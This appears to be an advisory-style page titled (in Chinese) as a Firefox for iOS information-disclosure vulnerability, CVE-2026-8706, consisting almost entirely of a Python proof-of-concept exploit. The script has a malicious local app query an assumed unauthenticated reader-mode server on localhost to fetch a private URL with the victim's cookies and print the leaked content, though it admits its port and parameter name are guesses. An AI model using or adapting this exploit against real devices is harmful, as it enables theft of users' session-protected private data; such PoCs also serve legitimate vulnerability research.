CVE-2026-8706 Firefox iOS信息泄露漏洞

import requests # Conceptual Proof of Concept (PoC) for CVE-2026-8706 # This script simulates a malicious app on the same device interacting # with the vulnerable local web server of Firefox for iOS. # The actual local port and endpoint would need to be determined via analysis. # Assuming the reader mode endpoint listens on localhost. TARGET_LOCALHOST = "http://127.0.0.1:8080/reader-mode" # The target URL that the attacker wants to fetch using the victim's session. # This could be a private API endpoint or a user profile page. SENSITIVE_TARGET_URL = "https://example.com/private/user-data" def exploit(): print(f"[*] Attempting to connect to local Firefox server: {TARGET_LOCALHOST}") try: # Construct the payload. The parameter name 'url' is hypothetical. params = { "url": SENSITIVE_TARGET_URL } # Send the request to the unauthenticated local server response = requests.get(TARGET_LOCALHOST, params=params, timeout=5) if response.status_code == 200: print("[+] Request successful!") print("[+] Leaked content (rendered by Firefox with user cookies):") print("-" * 40) print(response.text) print("-" * 40) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.ConnectionError: print("[!] Could not connect to the local server. Firefox may not be running or the port is different.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()